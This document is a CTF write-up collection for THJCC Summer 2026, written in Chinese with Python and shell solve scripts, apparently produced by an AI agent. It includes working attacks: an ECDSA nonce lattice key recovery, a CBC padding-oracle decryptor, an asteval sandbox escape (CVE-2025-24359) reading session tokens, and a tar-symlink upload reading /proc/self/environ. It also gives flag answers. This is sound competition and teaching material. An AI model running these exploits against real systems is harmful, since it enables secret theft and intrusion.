N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8


def sha256_int(b: bytes) -> int:
 return int.from_bytes(hashlib.sha256(b).digest(), "big")


def point_mul(k: int):
 """Scalar multiplication on secp256k1 (double-and-add)."""
 def add(p, q):
 if p is None:
 return q
 if q is None:
 return p
 x1, y1 = p
 x2, y2 = q
 if x1 == x2 and (y1 + y2) % P == 0:
 return None
 if p == q:
 lam = (3 * x1 * x1) * pow(2 * y1, -1, P) % P
 else:
 lam = (y2 - y1) * pow(x2 - x1, -1, P) % P
 x3 = (lam * lam - x1 - x2) % P
 y3 = (lam * (x1 - x3) - y1) % P
 return (x3, y3)

 r = None
 base = (Gx, Gy)
 while k:
 if k & 1:
 r = add(r, base)
 base = add(base, base)
 k >>= 1
 return r


def main():
 for p in ("output.json", "handout/output.json", "handout/chal-Lattice-of-Doom/output.json"):
 if Path(p).exists():
 break
 data = json.loads(Path(p).read_text())
 Q = (int(data["Qx"], 16), int(data["Qy"], 16))
 n = len(data["signatures"])
 B = 1 << 232 # nonce bound: 29 bytes

 # k_i = a_i*d + b_i (mod N), a_i = s_i^-1 r_i, b_i = s_i^-1 h_i
 a, b = [], []
 for sig in data["signatures"]:
 h = sha256_int(bytes.fromhex(sig["msg"]))
 r = int(sig["r"], 16)
 s = int(sig["s"], 16)
 si = pow(s, -1, N)
 a.append(si * r % N)
 b.append(si * h % N)

 # HNP lattice, full rank n+2 (integer version of the rational
 # construction with B/N coefficient on d, uniformly scaled by N):
 # v_i = N^2 * e_i (i = 0..n-1)
 # v_a = (a_j*N ..., B, 0)
 # v_b = (b_j*N ..., 0, B*N)
 # target vector = d*v_a + v_b - sum q_i*v_i = (N*k_j, B*d, B*N)
 m = n + 2
 M = IntegerMatrix(m, m)
 for i in range(n):
 M[i, i] = N * N
 for j in range(n):
 M[n, j] = a[j] * N
 M[n + 1, j] = b[j] * N
 M[n, n] = B
 M[n + 1, n + 1] = B * N
 LLL.reduction(M)

 # the reduced basis contains the target; its column n is B*d (+/- shifts)
 d = None
 for row in M:
 y = row[n]
 if y == 0:
 continue
 for cand in (y // B, -y // B, y // B - N, -y // B - N,
 y // B + N, -y // B + N):
 if 0 < cand < N and point_mul(cand) == Q:
 d = cand
 break
 if d:
 break
 if d is None:
 raise SystemExit("[-] lattice attack failed")

 print(f"[+] private key d = {d:#x}")

 # decrypt flag: AES-128-CBC, key = sha256(b'wallet-v1|' + d32)[:16]
 key = hashlib.sha256(b"wallet-v1|" + d.to_bytes(32, "big")).digest()[:16]
 ct = bytes.fromhex(data["flag_enc"])
 pt = AES.new(key, AES.MODE_CBC, iv=b"\x00" * 16).decrypt(ct)
 flag = pt.split(b"THJCC{")[1]
 flag = b"THJCC{" + flag.split(b"}")[0] + b"}"
 print(f"[+] FLAG: {flag.decode()}")


if __name__ == "__main__":
 main()

Oracle of Padding

Flag：THJCC{p4dd1ng_0r4cl3s_l34k_0n3_byt3_p3r_qu3ry}

服务端只验提交密文最后一块 padding → 截断 IV‖C1..Ck 把 Ck 当最后一块逐字节解（修改 C_{k-1}，k=1 时即改 IV）。

发现过程（前一轮失败的两个根因，已修）：①索引错位——要改的块是被攻击块的前一块 tok[16*(k-1)]，写成 C_{k-2} 会全错；②oracle 语义——全 112B 提交时中间块改动恒 OK，必须截断提交让目标块成为最后一块。另：pos=0 的双命中（pad=1 真命中 + 意外长 padding 假命中）用 pos=1 全扫描消歧（假命中会让 pos=1 出现 256 个 OK）。

📜 Oracle of Padding solve.py（215 行，核心 decrypt_block@1626：截断提交 + pos=0 消歧）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215



#!/usr/bin/env python3
"""Oracle of Padding - corrected CBC padding oracle attack.

Root causes fixed vs the previous attempt:
 1. Index bug: to decrypt plaintext block P_k (k=1..6) we must modify the block
 BEFORE C_k inside the submitted token, i.e. token offset 16*(k-1) (IV for
 k=1). The old code wrote 16*(bi-1) with bi off by one.
 2. Oracle semantics: the server only validates the padding of the LAST block
 of the SUBMITTED ciphertext. A full 112-byte submission ignores changes to
 IV/C1..C4 (always OK -> the 20s garbage run). Fix: submit the TRUNCATED
 token tok[:16*(k+1)] = IV || C_1..C_k so block k becomes the last block.

Protocol: connect -> "TOKEN <hex>" (112 bytes = IV||C1..C6, per-connection fresh
IV, same flag plaintext). Send hex line, receive "OK"/"BAD".
"""
import json
import os
import socket
import sys
import threading
import time

HOST = os.environ.get("ORACLE_HOST", "chal.thjcc.org")
PORT = int(os.environ.get("ORACLE_PORT", "12000"))
BLOCK = 16
N_BLOCKS = 6
STATE_FILE = "/tmp/oracle_attack_state.json"

# Known plaintext shortcuts (verified format), block index -> {pos: byte}
KNOWN = {1: {j: ord(c) for j, c in enumerate("THJCC{")}}

state_lock = threading.Lock()
state = {"blocks": {k: [None] * BLOCK for k in range(1, N_BLOCKS + 1)},
 "done": {}, "t0": time.time()}


class Oracle:
 def __init__(self):
 self.sock = socket.create_connection((HOST, PORT), timeout=10)
 self.sock.settimeout(15)
 line = self._readline()
 if not line or not line.startswith(b"TOKEN "):
 raise RuntimeError(f"bad banner {line!r}")
 self.token = bytes.fromhex(line[6:].decode().strip())
 if len(self.token) != 16 * (N_BLOCKS + 1):
 raise RuntimeError(f"unexpected token len {len(self.token)}")

 def _readline(self):
 buf = b""
 while b"\n" not in buf:
 chunk = self.sock.recv(4096)
 if not chunk:
 raise ConnectionError("closed")
 buf += chunk
 return buf.split(b"\n")[0]

 def query(self, data):
 self.sock.sendall(bytes(data).hex().encode() + b"\n")
 return self._readline() == b"OK"

 def close(self):
 try:
 self.sock.close()
 except Exception:
 pass


def log(msg):
 print(f"[{time.time() - state['t0']:7.1f}s] {msg}", flush=True)


def decrypt_block(orc, k, report):
 """Recover plaintext block P_k. Returns bytes(16).

 Submissions are truncated to IV||C_1..C_k; we modify C_{k-1} (offset
 16*(k-1), the IV itself for k=1).
 """
 tok = orc.token
 off = 16 * (k - 1) # offset of the block we modify
 sub_len = 16 * (k + 1) # IV || C_1..C_k
 prev = tok[off:off + BLOCK] # original previous block
 known = KNOWN.get(k, {})
 D = [0] * BLOCK

 def sub_for(pos, pad):
 s = bytearray(tok[:sub_len])
 for j in range(BLOCK - pos, BLOCK):
 s[off + j] = D[j] ^ pad
 return s

 pos = 0
 while pos < BLOCK:
 j = BLOCK - 1 - pos
 pad = pos + 1
 if j in known:
 D[j] = known[j] ^ prev[j]
 report(pos, D[j] ^ prev[j], True)
 pos += 1
 continue
 s = sub_for(pos, pad)
 cands = []
 for g in range(256):
 s[off + j] = g
 ok = orc.query(s)
 if ok:
 cands.append(g)
 if pos > 0:
 break # pos>=1 can only have one OK (tail forced)
 if not cands:
 raise RuntimeError(f"block {k} pos {pos}: dead end (0 OK)")
 if pos == 0 and len(cands) > 1:
 # Classic pad=1 vs accidental longer-padding double hit.
 # Disambiguate at pos 1 with a FULL scan: the true candidate yields
 # exactly 1 OK, a false one forces P[15]=1 -> 256 OKs.
 for c in cands:
 D[j] = c ^ pad
 s2 = sub_for(1, 2)
 hits = []
 for g in range(256):
 s2[off + BLOCK - 2] = g
 if orc.query(s2):
 hits.append(g)
 if len(hits) == 1:
 D[j] = c ^ 1
 D[BLOCK - 2] = hits[0] ^ 2
 report(0, D[j] ^ prev[j], False)
 report(1, D[BLOCK - 2] ^ prev[BLOCK - 2], False)
 pos = 2
 break
 if pos == 2:
 continue
 raise RuntimeError(f"block {k}: no pos-0 candidate survived")
 D[j] = cands[0] ^ pad
 report(pos, D[j] ^ prev[j], False)
 pos += 1
 return bytes(D[i] ^ prev[i] for i in range(BLOCK))


def worker(k):
 while k not in state["done"]:
 orc = None
 try:
 orc = Oracle()
 def report(pos, byte, free):
 with state_lock:
 state["blocks"][k][BLOCK - 1 - pos] = byte
 ch = chr(byte) if 32 <= byte < 127 else "."
 log(f"block {k} pos {pos:2d}: {byte:#04x} '{ch}'"
 + (" (known)" if free else ""))
 pt = decrypt_block(orc, k, report)
 with state_lock:
 state["done"][k] = pt.hex()
 log(f"block {k} DONE: {pt!r}")
 except Exception as e:
 log(f"block {k} error: {e}; reconnecting")
 time.sleep(2)
 finally:
 if orc:
 orc.close()


def monitor(threads):
 while any(t.is_alive() for t in threads):
 time.sleep(15)
 with state_lock:
 done = dict(state["done"])
 rows = []
 for k in range(1, N_BLOCKS + 1):
 if k in done:
 rows.append(f"B{k}={done[k]}")
 else:
 cells = state["blocks"][k]
 n = sum(1 for c in cells if c is not None)
 rows.append(f"B{k}:back_{n}/16")
 log(f"progress {rows}")
 with open(STATE_FILE, "w") as f:
 json.dump({"done": done, "blocks": {
 k: [None if c is None else c for c in state["blocks"][k]]
 for k in state["blocks"]}}, f)
 if len(done) == N_BLOCKS:
 break


def main():
 threads = [threading.Thread(target=worker, args=(k,), daemon=True)
 for k in range(1, N_BLOCKS + 1)]
 for t in threads:
 t.start()
 monitor(threads)
 for t in threads:
 t.join()
 with state_lock:
 done = dict(state["done"])
 if len(done) != N_BLOCKS:
 log(f"FAILED, missing blocks {sorted(set(range(1, 7)) - set(done))}")
 return 1
 pt = b"".join(bytes.fromhex(done[k]) for k in range(1, N_BLOCKS + 1))
 pad = pt[-1]
 if 1 <= pad <= BLOCK and pt[-pad:] == bytes([pad]) * pad:
 pt = pt[:-pad]
 log(f"PLAINTEXT ({len(pt)} bytes): {pt!r}")
 # The plaintext is a decoy JSON-ish wrapper; the real flag is the inner
 # THJCC{...} token (fallback: the whole plaintext if no inner token).
 import re
 m = re.search(rb"THJCC\{[^{}]*\}", pt[len(b"THJCC{"):])
 flag = (m.group(0) if m else pt).decode(errors="replace")
 log(f"FLAG: {flag}")
 with open("/tmp/oracle_padding_flag.txt", "w") as f:
 f.write(pt.decode(errors="replace") + "\n" + flag + "\n")
 return 0


if __name__ == "__main__":
 sys.exit(main())

お昼はサイゼリヤに行こうニャ！

Flag：THJCC{46Z-WQv_vFc}

OSINT（动画角色年龄+订阅数）定种子 K → C 语言 18 线程彩虹表还原 nyan.tbl 五口令 → sha256 拼接 key 做 HMAC-CTR 解 flag.enc。

发现过程：note.png 给出 K 的语义槽位（yaniko/yakuko/aruko 年龄、hameko 频道订阅数 10.8 万）但数字被烧掉——OSINT 动画《ヤニねこ》官方设定得 K=(21,20,24,108000)；廉价 K 验证 oracle：对任意链重算 24576 步端点与 nyan.tbl 的 21-bit 端点比对，四条链全吻合即确认。彩虹表参数从 gen_table.py 推出（链长 24576、端点 21bit、链数 > 6⁸ 假阳性多，需链再生时精确比对）；C 实现两个坑：消息是口令 ASCII 字节而非 base-6 索引、x*RMIX2 是 40×48 bit 超出 uint64 需 unsigned __int128。

📜 saizeriya solve.sh（28 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


# ==== saizeriya/solve.sh ====

#!/bin/bash
# 一键复现：お昼はサイゼリヤに行こうニャ！（サイゼリヤ）
# 前提：附件已解压到 handout/extracted/お昼はサイゼリヤに行こうニャ！/
set -euo pipefail

HERE="$(cd "$(dirname "$0")" && pwd)"
PY=python3
HANDOUT="${HERE}/handout/extracted/お昼はサイゼリヤに行こうニャ！"

# 1) K 候选验证（角色年龄/订阅数 -> nyan.tbl 链端点比对）
"${PY}" "${HERE}/verify_k.py"

# 2) 彩虹表查询：5 个 shadow 哈希 -> 原像口令
cc -O3 -o "${HERE}/rainbow" "${HERE}/rainbow.c" -pthread
"${HERE}/rainbow" "${HANDOUT}" | tee "${HERE}/rainbow.out"

# 3) 按住户顺序取每個 target 的第一個命中口令，拼 key 解 flag.enc
PWS=()
for t in 0 1 2 3 4; do
 pw=$(grep "FOUND target\[${t}\]" "${HERE}/rainbow.out" | head -1 | sed 's/.*pw=\([^ ]*\).*/\1/')
 if [ -z "${pw}" ]; then echo "target[${t}] not found"; exit 1; fi
 PWS+=("${pw}")
done
echo "passwords: ${PWS[*]}"

"${PY}" "${HERE}/finish.py" "${PWS[0]}" "${PWS[1]}" "${PWS[2]}" "${PWS[3]}" "${PWS[4]}"

📜 saizeriya finish.py（37 行，核心 keystream@1824）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


# ==== saizeriya/finish.py ====

# Final step: assemble key from the 5 recovered passwords, unseal flag.enc.
import hashlib
import hmac
import sys

HANDOUT = "saizeriya/handout/extracted/お昼はサイゼリヤに行こうニャ！"
RESIDENTS = ["yaniko", "yakuko", "hameko", "kaoruko", "aruko"]


def keystream(key: bytes, n: int) -> bytes:
 out, ctr = b"", 0
 while len(out) < n:
 out += hashlib.sha256(key + b"YANI-CTR" + ctr.to_bytes(4, "big")).digest()
 ctr += 1
 return out[:n]


def main():
 # order follows RESIDENTS (same order as shadow.txt lines)
 pws = sys.argv[1:6]
 if len(pws) != 5:
 print("usage: finish.py <yaniko_pw> <yakuko_pw> <hameko_pw> <kaoruko_pw> <aruko_pw>")
 return 1
 key = hashlib.sha256("|".join(pws).encode()).digest()
 blob = open(f"{HANDOUT}/flag.enc", "rb").read()
 tag, ct = blob[:16], blob[16:]
 calc = hmac.new(key, b"YANI-TAG" + ct, hashlib.sha256).digest()[:16]
 print("tag match:", calc == tag)
 pt = bytes(a ^ b for a, b in zip(ct, keystream(key, len(ct))))
 print("flag:", pt.decode())
 return 0


if __name__ == "__main__":
 sys.exit(main())

Misc（7/10）· Forensics（5/6）· Welcome（1/1）

SO EZ MISC（Misc｜asteval 越狱） Flag：THJCC{CVE_2025_24359_th3_p4tch_w4s_1nc0mpl3t3:/}

calc> REPL 前两轮按"手写解释器"打全灭。第三轮先做引擎指纹：发非法 UTF-8 （\xff）触发 UnicodeEncodeError，服务端把整个 stderr traceback 回显到 socket，认出是公开库 asteval 1.0.9。“the bug has no patch” = CVE-2025-24359。读原语在 f-string：on_formattedvalue 把 format_spec 原样拼进 '{__fstring__:'+spec+'}' 模板交 safe_format，spec 以 } 开头提前闭合主字段，注入独立 replacement field：

📜 SO EZ MISC solve.py（88 行，核心 build_payload@1891）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88


#!/usr/bin/env python3
"""SO EZ MISC (THJCC CTF Summer 2026) — one-shot exploit.

Bug chain (asteval 1.0.9, CVE-2025-24359 family):
 asteval.Interpreter.on_formattedvalue builds
 fmt = '{__fstring__:' + <evaluated format_spec> + '}'
 and runs SafeFormatter over it. The spec string is spliced RAW into a
 str.format template, so a spec starting with '}' closes the main field
 early and everything after it is parsed as *template text* — including
 replacement fields whose names support `.attr` / `[key]` chains
 (SafeFormatter.get_field -> safe_getattr / obj[key]).

 The whole read chain lives inside a string literal, so the source-level
 character blacklist ('_', '[', ']') is bypassed with \\u005f/\\u005b/\\u005d
 escapes (server runs Python 3.13, so backslashes inside f-strings are fine).

Usage:
 python3 solve.py # default: audit sheet chain
 python3 solve.py --chain "sheets[summary].owner.session.token.value"
 python3 solve.py --host chal.thjcc.org --port 9006
"""
import argparse

from pwn import remote, context

context.log_level = "error"


def build_payload(chain: str) -> str:
 """f-string whose format_spec breaks out of the spec and reads `chain` from WB."""
 field = "__fstring__." + chain
 field = (
 field.replace("_", "\\u005f")
 .replace("[", "\\u005b")
 .replace("]", "\\u005d")
 )
 # template after splice: {__fstring__:} {<field>} -> value + ' ' + read result
 return "f\"{WB:{'} {" + field + "'}}\""


def run(host: str, port: int, chain: str) -> str:
 payload = build_payload(chain)
 io = remote(host, port)
 try:
 io.recv(timeout=3) # banner "calc> "
 io.sendline(payload.encode())
 buf = b""
 while True:
 try:
 chunk = io.recv(timeout=3)
 except Exception:
 break
 if not chunk:
 break
 buf += chunk
 if buf.rstrip().endswith(b"calc>"):
 break
 finally:
 io.close()
 out = buf.decode(errors="backslashreplace").replace("calc>", "").strip()
 # server prints ' ' + str(result): drop the leading str(WB) part
 marker = "cells={'A1': 0})})"
 if marker in out:
 out = out.split(marker, 1)[1].strip()
 return out


def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("--host", default="chal.thjcc.org")
 ap.add_argument("--port", type=int, default=9006)
 ap.add_argument(
 "--chain",
 default="sheets[audit].owner.session.token.value",
 help="attr/key chain from WB to the value you want to read",
 )
 args = ap.parse_args()

 payload = build_payload(args.chain)
 print(f"[*] payload: {payload}")
 result = run(args.host, args.port, args.chain)
 print(f"[*] leaked: {result}")
 if result.startswith("THJCC{"):
 print(f"[+] FLAG: {result}")


if __name__ == "__main__":
 main()

Afterimage1（Forensics｜mdat 孤立帧） Flag：THJCC{v1d3o_F0ren51cS_qkrejnga}

四轮自动化分析（逐帧 OCR/QR、频域、时序、音频、运动矢量、容器 atom）全灭。真相： flag 是 mdat 尾部 20,524 字节未被 sample table 引用的孤立 IDR H.264 帧，播放器永远不会放它。afterimage1/solve.sh 一键复现：

📜 Afterimage1 solve.sh（24 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


#!/bin/bash
# Afterimage1 一键复现：mdat 尾部孤立 IDR 帧提取与解码
# 用法: bash solve.sh [challenge.mp4] [输出png]
# 依赖: ffprobe / dd / ffmpeg
set -e
VIDEO="${1:-challenge.mp4}"
OUT="${2:-flag_frame.png}"

# 1) 最后一个被 sample table 引用的 packet 结束位置
LAST=$(ffprobe -v error -select_streams v:0 -show_entries packet=pos,size -of csv=p=0 "$VIDEO" | tail -n 1 | tr ',' ' ')
POS=${LAST% *}; SIZE=${LAST##* }
END=$((POS + SIZE))
TOTAL=$(stat -f%z "$VIDEO")

echo "[*] last referenced packet ends at $END / total $TOTAL bytes"
echo "[*] unreferenced tail: $((TOTAL - END)) bytes"

# 2) 切出孤立 NAL（Annex-B + SPS/PPS/SEI/IDR）
dd if="$VIDEO" of=/tmp/afterimage1_orphan.h264 bs=1 skip="$END" 2>/dev/null

# 3) 解码单帧
ffmpeg -y -loglevel error -f h264 -i /tmp/afterimage1_orphan.h264 -frames:v 1 "$OUT"
rm -f /tmp/afterimage1_orphan.h264
echo "[*] flag frame written to $OUT"

Welcome（Welcome｜单帧单字符） Flag：THJCC{w3lc0me_t0_tHjCc_CTF_sUmM3r_ed1ti0n}

57 帧 GIF，机器判定"独立随机姿态、无相似帧对、全通道干净"。真相是每帧恰好一个字符，统计相似度分析从根上就失明了。人眼步骤无脚本可自动完成（豁免），可复现部分是抽帧：

📜 Welcome solve.py（24 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


#!/usr/bin/env python3
"""Welcome 一键复现：57 帧单帧单字符提取。

机器统计隐写分析对"每帧一个字符"免疫，剩余步骤需要人眼：
1) 本脚本把 57 帧落盘到 frames/（按帧序编号）
2) 人眼逐帧读字符 → 拼出 check-in 网址 https://welcome.xzhiyouu.idv.tw 与通行码
3) 网页 Check in（忽略大小写/连字符，过人机验证）→ pastebin.com/DUxM02Gp → flag
"""
import sys
from pathlib import Path
from PIL import Image

def main():
 gif = Path(sys.argv[1] if len(sys.argv) > 1 else "welcome.gif")
 outdir = Path("frames")
 outdir.mkdir(exist_ok=True)
 im = Image.open(gif)
 for i in range(im.n_frames):
 im.seek(i)
 im.convert("RGB").save(outdir / f"{i:02d}.png")
 print(f"[*] {im.n_frames} frames extracted to {outdir}/ — read them in order")

if __name__ == "__main__":
 main()

Where is our head（Misc｜OSINT 双锚点） Flag：THJCC{144.95,-37.81}

“ZURICH” 是苏黎世保险的楼顶招牌，不是城市名（北悉尼/珀斯/奥克兰三城市被网格证伪排除）。第二锚点 RACV 三角顶 → 墨尔本 600 Bourke Place 换牌记录 + 建筑指纹对上，取整边界 -37.82→-37.81 命中。定位本身是人工/多模态 OSINT（豁免）， where-is-our-head/solve.py 提供坐标网格验证（中心格→相邻格、限速退避）：

📜 Where is our head solve.py（44 行，核心 submit@2041）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


#!/usr/bin/env python3
"""Where is our head of challenges? — 坐标验证脚本（OSINT 定位本身无脚本可复现）。

定位链（人工/多模态）：ZURICH=苏黎世保险楼顶招牌（非城市名）→ 第二锚点 RACV
三角顶 → 墨尔本 CBD 600 Bourke Place → 摄影点在 Spencer Street 一带高层住宅。
两位小数坐标存在四舍五入边界，用本脚本按"中心格→相邻格"顺序提交验证。

用法:
 python3 solve.py --challenge 59 --token <CTFd token> 144.95 -37.82
 # 相邻格优先顺序：同 lon 纬度 +-0.01，再经度 +-0.01，再对角
"""
import argparse, sys, time, urllib.request

API = "https://ctf2026-sum.thjcc.org/api/v1/challenges/attempt"

def submit(token, cid, lon, lat):
 flag = f"THJCC{{{lon:.2f},{lat:.2f}}}"
 req = urllib.request.Request(
 API, data=f'{{"challenge_id":{cid},"submission":"{flag}"}}'.encode(),
 headers={"Content-Type": "application/json", "Authorization": f"Token {token}",
 "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"},
 method="POST")
 with urllib.request.urlopen(req, timeout=20) as r:
 import json
 return json.load(r)["data"]["status"]

def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("--challenge", type=int, default=59)
 ap.add_argument("--token", required=True)
 ap.add_argument("lon", type=float); ap.add_argument("lat", type=float)
 args = ap.parse_args()
 order = [(0,0),(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)]
 for dlon, dlat in order:
 lon, lat = round(args.lon + dlon*0.01, 2), round(args.lat + dlat*0.01, 2)
 st = submit(args.token, args.challenge, lon, lat)
 print(f"THJCC{{{lon},{lat}}} -> {st}", flush=True)
 if st in ("correct", "already_solved"):
 print("FOUND"); return
 time.sleep(8) # 平台限速 ~10 次/分；ratelimited 时本次未判定，sleep 后重发同格
 print("not found in grid")

if __name__ == "__main__":
 main()

Time Machine（Misc） Flag：THJCC{th3_v3r1f13r_ch3ck3d_th3_n4m3_but_n0t_th3_l1nkn4m3}

zip symlink 落盘变普通文件（3.11 extractall 不建链接），tar symlink 保留 → snapshot 的 shutil.make_archive 解引用链接读 /proc/self/environ 拿 FLAG。

📜 Time Machine solve.py（70 行，核心 build_tar@2102）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


#!/usr/bin/env python3
"""Time Machine (THJCC Summer 2026, Misc 500) — one-shot solve.

Vuln: restored tar symlinks are dereferenced by shutil.make_archive when the
"Take snapshot" button is hit, giving an arbitrary file read from the server.
The flag lives in the app environment (FLAG=...), so read /proc/self/environ.

Usage: python3 solve.py [host] [port] (defaults: chal.thjcc.org 9005)
"""
import io
import re
import sys
import tarfile
import uuid
import zipfile
import urllib.request
import urllib.parse

HOST = sys.argv[1] if len(sys.argv) > 1 else "chal.thjcc.org"
PORT = sys.argv[2] if len(sys.argv) > 2 else "9005"
BASE = f"http://{HOST}:{PORT}"


def build_tar(links):
 """Tar containing only symlink entries: {name_in_archive: absolute_target}."""
 buf = io.BytesIO()
 with tarfile.open(fileobj=buf, mode="w") as tf:
 for name, target in links.items():
 info = tarfile.TarInfo(name)
 info.type = tarfile.SYMTYPE
 info.linkname = target
 tf.addfile(info)
 return buf.getvalue()


def upload(opener, data, filename):
 boundary = "----tm" + uuid.uuid4().hex
 body = (
 f"--{boundary}\r\n"
 f'Content-Disposition: form-data; name="archive"; filename="{filename}"\r\n'
 f"Content-Type: application/octet-stream\r\n\r\n"
 ).encode() + data + f"\r\n--{boundary}--\r\n".encode()
 req = urllib.request.Request(
 BASE + "/restore", data=body, method="POST",
 headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
 )
 opener.open(req) # 302 back to /


def main():
 # Fresh cookie jar => fresh per-session holdings dir.
 opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor())

 upload(opener, build_tar({"leak_env": "/proc/self/environ"}), "leak.tar")

 # Snapshot = shutil.make_archive("snapshot", "zip", holdings_dir); zipfile
 # follows the symlink, so snapshot.zip contains the target's content.
 zipdata = opener.open(BASE + "/snapshot").read()

 with zipfile.ZipFile(io.BytesIO(zipdata)) as z:
 env = z.read("leak_env").decode(errors="replace")
 m = re.search(r"FLAG=([^\x00]+)", env)
 if not m:
 print("[!] FLAG not found. Raw env:", env)
 sys.exit(1)
 print(m.group(1))


if __name__ == "__main__":
 main()

Starry Sky（Forensics｜主 agent 亲解） Flag：THJCC{c0unt1ng_blu3s_by_thr33s}

PNG tEXt Comment 藏提示（“a single byte lifts it… which grains to read, and how far apart”）→ B 通道 LSB 按 stride=5 采样 → packbits → XOR 0x5A（依赖 numpy/Pillow）。

📜 Starry Sky solve.py（30 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


#!/usr/bin/env python3
"""THJCC Summer 2026 - Starry Sky (Forensic) 一键复现
B 通道 LSB 位面按 stride=5 采样 -> 8 位组字节 -> XOR 0x5A -> flag
用法: python3 solve.py [image.png]
"""
import sys
import numpy as np
from PIL import Image

KEY = 0x5A
STRIDE = 5


def main():
 path = sys.argv[1] if len(sys.argv) > 1 else "challenge.png"
 im = Image.open(path).convert("RGB")
 a = np.asarray(im)
 bits = (a[..., 2] >> 0) & 1 # B 通道 LSB
 sampled = bits.flatten()[::STRIDE]
 n = len(sampled) - len(sampled) % 8
 nb = np.packbits(sampled[:n].astype(np.uint8))
 dec = bytes(int(v) ^ KEY for v in nb)
 end = dec.find(b"}") + 1
 flag = dec[:end].decode() if end > 0 else dec.decode(errors="replace")
 print(flag)
 return 0 if flag.endswith("}") else 1


if __name__ == "__main__":
 sys.exit(main())

Baritone（Misc｜主 agent 亲解） Flag：THJCC{DoYouHavePerfectPitch}

16.2s mp3 每 0.5s 一个 12-TET 纯音符 = midi 值当 ASCII。必须全频段扫描： {≈9950Hz、}≈11168Hz，f<6000 的滤波会丢高频字符（依赖 numpy/scipy/ffmpeg）。

📜 Baritone solve.py（52 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52


#!/usr/bin/env python3
"""THJCC Summer 2026 - Baritone (Misc) 一键复现
每 0.5s 一个 12-TET 纯音符，频率 -> midi 值 -> 直接当 ASCII。
用法: python3 solve.py [audio.wav|audio.mp3]
"""
import sys
import numpy as np
from scipy.io import wavfile
from scipy import signal as sig


def load_wav(path):
 if path.endswith(".mp3"):
 import subprocess, tempfile, os
 fd, tmp = tempfile.mkstemp(suffix=".wav")
 os.close(fd)
 subprocess.run(["ffmpeg", "-y", "-i", path, "-ac", "1", "-ar", "44100", tmp],
 check=True, capture_output=True)
 sr, data = wavfile.read(tmp)
 os.unlink(tmp)
 else:
 sr, data = wavfile.read(path)
 if data.ndim > 1:
 data = data.mean(axis=1)
 return sr, data.astype(np.float64)


def main():
 path = sys.argv[1] if len(sys.argv) > 1 else "baritone.mp3"
 sr, data = load_wav(path)
 slot = sr // 2 # 0.5s 一个符号
 n_slots = int(len(data) / slot)
 chars = []
 for i in range(n_slots):
 seg = data[i * slot:(i + 1) * slot]
 f, P = sig.periodogram(seg, sr, nfft=131072)
 m = (f > 60) & (f < 18000) # 必须全频段，高频字符音符（'{'~10kHz, '}'~11kHz）
 fb, Pb = f[m], P[m]
 k = np.argmax(Pb)
 midi = round(69 + 12 * np.log2(fb[k] / 440.0))
 if 32 <= midi < 127:
 chars.append(chr(midi))
 text = "".join(chars)
 start = text.find("THJCC{")
 end = text.find("}", start)
 flag = text[start:end + 1] if start >= 0 and end > start else text
 print(flag)
 return 0 if flag.startswith("THJCC{") and flag.endswith("}") else 1


if __name__ == "__main__":
 sys.exit(main())

